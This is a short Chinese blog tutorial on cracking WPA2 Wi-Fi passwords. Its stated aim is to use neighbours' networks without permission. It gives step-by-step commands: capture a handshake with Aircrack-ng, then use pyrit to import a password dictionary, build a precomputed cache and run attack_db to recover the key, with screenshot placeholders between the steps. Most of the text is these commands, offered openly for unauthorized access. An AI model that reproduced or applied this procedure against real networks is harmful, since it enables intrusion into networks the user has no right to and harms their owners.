最近出来了Krack破解wpa2，poc没有公布出来，但是哪怕给出来还是没用！因为我们并不想去偷看别人消息，我们只是想单纯的蹭网。
1.获取握手包（利用Aircarck-ng获取握手包），此处不解释如何获取握手包，百度一大堆。
image.png
2.使用Kali自带的工具pyrit，具体如下：
pyrit -r [握手包的路径] analyze
第一步.png
3.获取了EESID，进行读取字典。
pyrit -i [字典的路径] import_passwords
image.png
4.接下来执行(类似于创建一个任务)
pyrit -e [eesid] create_eesid
image.png
5.接下来生成缓存表（这一部类似于生成彩虹表，但是速度比较快，因为公司的显卡是微软的集显，没有独显，Kali自带的字典，也就是半个小时，还是很快的。）,会有一段时间，时间的长短根据你的字典还有你的电脑的显卡来决定。
pyrit batch
image.png
6.外事具备之后，就可以开始破解了。
pyrit -e [eesid] [握手包] attack_db
image.png
网友评论